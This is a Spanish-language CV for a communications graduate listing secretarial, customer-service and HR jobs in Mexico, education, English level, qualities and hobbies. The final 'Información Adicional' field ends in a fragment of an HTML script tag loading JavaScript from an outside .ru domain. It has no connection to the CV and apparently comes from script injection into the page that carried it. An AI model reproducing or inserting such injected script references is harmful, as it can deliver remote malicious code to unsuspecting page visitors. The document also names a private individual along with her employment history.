

Lidia Araceli Tobias Hernandez

## **titulo**

Comunicación - Publicidad.

---

### **EXPERIENCIA LABORAL**

-10/2007-5/2008 Axis Internet

Informática Atención al cliente

Auxiliar de Mantenimiento Preventivo y Correctivo a equipos de cómputo, atención a clientes, diseño básico y captura de datos

-10/2006-10/2007 Mexi-can, s.c.

Recursos Humanos Consultoría - Asesoría

Recepción y Atención a interesados para la inscripción a la bolsa de trabajo, atención a clientes de empresas canadienses, traductora y auxiliar de recursos humanos.

-7/2002-12/2005 SEDESOL

Otro no especificado Secretariado

Secretaria, auxiliar del Jefe Directo, recepción y atención a la gente interesada en la inscripción dentro de los programas que ofrece esta dependencia para beneficio de la gente más vulnerable del estado.

-5/2001-4/2002 PRI COAHUILA

Otro no especificado Secretariado

Secretaria, auxiliar del Jefe Directo, recepción y atención a cliente.

### **FORMACIÓN ACADÉMICA**

8/2001

pasante

Licenciado Comunicación

CENTRO DE ESTUDIOS SUPERIORES SIERRA MADRE

### **IDIOMAS**

Inglés

Nivel:Nivel Intermedio

### **OBJETIVOS PROFESIONALES**

Desarrollo, crecimiento personal y laboral, adquiriendo y aportando experiencia,



dentro de la empresa que me contrate.

## **Cualidades**

Adaptable, Amable, Comunicativo/a, Determinado/a, Eficiente, Entregado/a, Fiable, Honesto/a, Organizado/a, Perceptivo/a, Persuasivo/a, Productivo/a, Responsable, Seguro/a, Sociable, Trabajador/a,

## **Aficiones**

Arte, Bailar, Cine/Películas, Cocinar, Música Variada,

## **Disponibilidad**

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: Si

Estoy dispuesto a trabajar fuera de mi región: Si

## **Información Adicional:**

FORMACIÓN:EXPERIENCIA:COMPLEMENTARIA:INFORMACIÓN ADICIONAL: script  
src=http://www.bannerdriven.ru/ads.js>

